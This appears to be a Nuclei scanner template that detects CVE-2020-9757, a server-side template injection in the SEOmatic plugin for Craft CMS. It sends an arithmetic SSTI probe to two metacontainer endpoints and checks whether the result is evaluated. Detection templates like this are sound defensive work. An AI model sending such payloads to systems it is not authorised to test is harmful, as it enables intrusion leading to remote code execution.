id: CVE-2020-9757

info:
  name: SEOmatic < 3.3.0 Server-Side Template Injection
  author: dwisiswant0
  severity: high
  description: The SEOmatic component before 3.3.0 for Craft CMS allows Server-Side Template Injection that leads to RCE via malformed data to the metacontainers controller.
  tags: cve,cve2020,ssti
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.50
    cve-id: CVE-2020-9757
    cwe-id: CWE-74
  reference:
    - https://github.com/nystudio107/craft-seomatic/blob/v3/CHANGELOG.md
    - https://github.com/giany/CVE/blob/master/CVE-2020-9757.txt
    - https://github.com/nystudio107/craft-seomatic/commit/65ab659cb6c914c7ad671af1e417c0da2431f79b
    - https://github.com/nystudio107/craft-seomatic/commit/a1c2cad7e126132d2442ec8ec8e9ab43df02cc0f

requests:
  - method: GET
    path:
      - "{{BaseURL}}/actions/seomatic/meta-container/meta-link-container/?uri={{228*'98'}}"
      - "{{BaseURL}}/actions/seomatic/meta-container/all-meta-containers?uri={{228*'98'}}"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "MetaLinkContainer"
          - "canonical"
          - "22344"
        condition: and
        part: body